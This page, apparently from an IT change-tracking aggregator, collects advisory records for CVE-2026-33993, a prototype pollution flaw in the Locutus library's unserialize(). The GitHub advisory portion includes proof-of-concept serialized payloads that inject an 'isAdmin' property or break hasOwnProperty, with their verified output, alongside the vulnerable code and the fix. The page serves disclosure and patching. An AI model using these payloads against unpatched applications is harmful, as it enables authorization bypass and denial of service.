Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 275/275 feeds/APIs · 469/469 docs · 8/9 advisories · checked 15:09 UTC Customize Public modeDiscuss ChangeIntel on Discord

Locutus has Prototype Pollution via __proto__ Key Injection in unserialize()

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-33993

Published

Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.25, the `unserialize()` function in `locutus/php/var/unserialize` assigns deserialized keys to plain objects via bracket notation without filtering the `__proto__` key. When a PHP serialized payload contains `__proto__` as an array or object key, JavaScript's `__proto__` setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override. This is distinct from the previously reported prototype pollution in `parse_str` (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — `unserialize` is a different function with no mitigation applied. Version 3.0.25 patches the issue.

Source published
27 Mar 2026 22:14:03 UTC
Source modified
30 Mar 2026 15:45:18 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

euvd · EUVD-2026-16888

Published

Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.25, the `unserialize()` function in `locutus/php/var/unserialize` assigns deserialized keys to plain objects via bracket notation without filtering the `__proto__` key. When a PHP serialized payload contains `__proto__` as an array or object key, JavaScript's `__proto__` setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override. This is distinct from the previously reported prototype pollution in `parse_str` (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — `unserialize` is a different function with no mitigation applied. Version 3.0.25 patches the issue.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Mar 27, 2026, 10:14:03 PM

dateUpdated: Mar 30, 2026, 3:45:18 PM

Source published
Mar 27, 2026, 10:14:03 PM (timezone not stated)
Source modified
Mar 30, 2026, 3:45:18 PM (timezone not stated)
Observed here
1 Nov 2026 06:05:12 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

nvd · CVE-2026-33993

Published

Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.25, the `unserialize()` function in `locutus/php/var/unserialize` assigns deserialized keys to plain objects via bracket notation without filtering the `__proto__` key. When a PHP serialized payload contains `__proto__` as an array or object key, JavaScript's `__proto__` setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override. This is distinct from the previously reported prototype pollution in `parse_str` (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — `unserialize` is a different function with no mitigation applied. Version 3.0.25 patches the issue.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-1321

Original publisher date fields

published: 2026-03-27T23:17:14.237

lastModified: 2026-10-26T21:10:00.170

1 source CPE criteria · context only
  • cpe:2.3:a:locutus:locutus:*:*:*:*:*:node.js:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published
27 Mar 2026 23:17:14 UTC
Source modified
26 Oct 2026 21:10:00 UTC
Observed here
27 Oct 2026 09:03:00 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

osv · GHSA-4mph-v827-f877

Published

## Summary The `unserialize()` function in `locutus/php/var/unserialize` assigns deserialized keys to plain objects via bracket notation without filtering the `__proto__` key. When a PHP serialized payload contains `__proto__` as an array or object key, JavaScript's `__proto__` setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override. This is distinct from the previously reported prototype pollution in `parse_str` (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — `unserialize` is a different function with no mitigation applied. ## Details The vulnerable code is in two functions within `src/php/var/unserialize.ts`: **`expectArrayItems()` at line 358:** ```typescript // src/php/var/unserialize.ts:329-366 function expectArrayItems( str: string, expectedItems = 0, cache: CacheFn, ): [UnserializedObject | UnserializedValue[], number] { // ... const items: UnserializedObject = {} // ... for (let i = 0; i < expectedItems; i++) { key = expectKeyOrIndex(str) // ... item = expectType(str, cache) // ... items[String(key[0])] = item[0] // line 358 — no __proto__ filtering } // ... } ``` **`expectObject()` at line 278:** ```typescript // src/php/var/unserialize.ts:246-287 function expectObject(str: string, cache: CacheFn): ParsedResult { // ... const obj: UnserializedObject = {} // ... for (let i = 0; i < propCount; i++) { // ... obj[String(prop[0])] = value[0] // line 278 — no __proto__ filtering } // ... } ``` Both functions create a plain object (`{}`) and assign user-controlled keys via bracket notation. When the key is `__proto__`, JavaScript's `__proto__` setter replaces the object's prototype rather than creating a regular property. This means: 1. Properties in the attacker-supplied prototype become accessible via dot notation and the `in` operator 2. These properties are invisible to `Object.keys()`, `JSON.stringify()`, and `hasOwnProperty()` 3. They propagate to copies made via `for...in` loops, becoming real own properties 4. The attacker can override `hasOwnProperty`, `toString`, `valueOf` with non-function values Notably, `parse_str` in the same package has a regex guard against `__proto__` (line 74 of `src/php/strings/parse_str.ts`), but no equivalent protection was applied to `unserialize`. This is **not** global `Object.prototype` pollution — only the deserialized object's prototype is replaced. Other objects in the application are not affected. ## PoC **Setup:** ```bash npm install [email protected] ``` **Step 1 — Property injection via array deserialization:** ```js import { unserialize } from 'locutus/php/var/unserialize'; const payload = 'a:2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}'; const config = unserialize(payload); console.log(config.isAdmin); // true (injected via prototype) console.log(Object.keys(config)); // ['name'] — isAdmin is hidden console.log('isAdmin' in config); // true — bypasses 'in' checks console.log(config.hasOwnProperty('isAdmin')); // false — invisible to hasOwnProperty ``` **Verified output:** ``` true [ 'name' ] true false ``` **Step 2 — for...in propagation makes injected properties real:** ```js const copy = {}; for (const k in config) copy[k] = config[k]; console.log(copy.isAdmin); // true (now an own property) console.log(copy.hasOwnProperty('isAdmin')); // true ``` **Verified output:** ``` true true ``` **Step 3 — Method override denial of service:** ```js const payload2 = 'a:1:{s:9:"__proto__";a:1:{s:14:"hasOwnProperty";b:1;}}'; const obj = unserialize(payload2); obj.hasOwnProperty('x'); // TypeError: obj.hasOwnProperty is not a function ``` **Verified output:** ``` TypeError: obj.hasOwnProperty is not a function ``` **Step 4 — Object type (stdClass) is also vulnerable:** ```js const payload3 = 'O:8:"stdClass":2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}'; const obj2 = unserialize(payload3); console.log(obj2.isAdmin); // true console.log('isAdmin' in obj2); // true ``` **Step 5 — Confirm NOT global pollution:** ```js console.log(({}).isAdmin); // undefined — global Object.prototype is clean ``` ## Impact - **Property injection**: Attacker-controlled properties become accessible on the deserialized object via dot notation and the `in` operator while being invisible to `Object.keys()` and `hasOwnProperty()`. Applications that use `if (config.isAdmin)` or `if ('role' in config)` patterns on deserialized data are vulnerable to authorization bypass. - **Property propagation**: When consuming code copies the object using `for...in` (a common JavaScript pattern for object spreading or cloning), injected prototype properties materialize as real own properties, surviving all subsequent `hasOwnProperty` checks. - **Denial of service**: The injected prototype can override `hasOwnProperty`, `toString`, `valueOf`, and other `Object.prototype` methods with non-function values, causing `TypeError` when these methods are called on the deserialized object. The primary use case for locutus `unserialize` is deserializing PHP-serialized data in JavaScript applications, often from external or untrusted sources. This makes the attack surface realistic. ## Recommended Fix Filter dangerous keys before assignment in both `expectArrayItems` and `expectObject`. Use `Object.defineProperty` to create a data property without triggering the `__proto__` setter: ```typescript const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']); // In expectArrayItems (line 358) and expectObject (line 278): const keyStr = String(key[0]); // or String(prop[0]) in expectObject if (DANGEROUS_KEYS.has(keyStr)) { Object.defineProperty(items, keyStr, { value: item[0], writable: true, enumerable: true, configurable: true, }); } else { items[keyStr] = item[0]; } ``` Alternatively, create objects with a null prototype to prevent `__proto__` setter invocation entirely: ```typescript // Replace: const items: UnserializedObject = {} // With: const items = Object.create(null) as UnserializedObject; ``` The `Object.create(null)` approach is more robust as it prevents the `__proto__` setter from ever being triggered, regardless of key value. ## Maintainer Reponse Thank you for the report. This issue was reproduced locally against `[email protected]`, confirming that `unserialize()` was vulnerable to `__proto__`-driven prototype injection on the returned object. This is now fixed on `main` and released in `[email protected]`. ## Fix Shipped In - **PR:** [#597](https://github.com/locutusjs/locutus/pull/597) - **Merge commit on `main`:** `345a6211e1e6f939f96a7090bfeff642c9fcf9e4` - **Release:** [v3.0.25](https://github.com/locutusjs/locutus/releases/tag/v3.0.25) ## What the Fix Does The fix hardens `src/php/var/unserialize.ts` by treating `__proto__`, `constructor`, and `prototype` as dangerous keys and defining them as plain own properties instead of assigning through normal bracket notation. This preserves the key in the returned value without invoking JavaScript's prototype setter semantics. ## Tested Repro Before the Fix - Attacker-controlled serialized `__proto__` key produced inherited properties on the returned object - `Object.keys()` hid the injected key while `'key' in obj` stayed true - Built-in methods like `hasOwnProperty` could be disrupted ## Tested State After the Fix in `3.0.25` - Dangerous keys are kept as own enumerable properties - The returned object's prototype is not replaced - The regression is covered by `test/custom/unserialize-prototype-pollution.vitest.ts` --- The locutus team is treating this as a real package vulnerability with patched version `3.0.25`.

Source published
27 Mar 2026 17:57:39 UTC
Source modified
30 Mar 2026 20:34:55 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Publisher rating · MODERATE

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 1 Nov 15:09 UTC · 275 of 275 readable · 272 fully read · documentation 469/469 current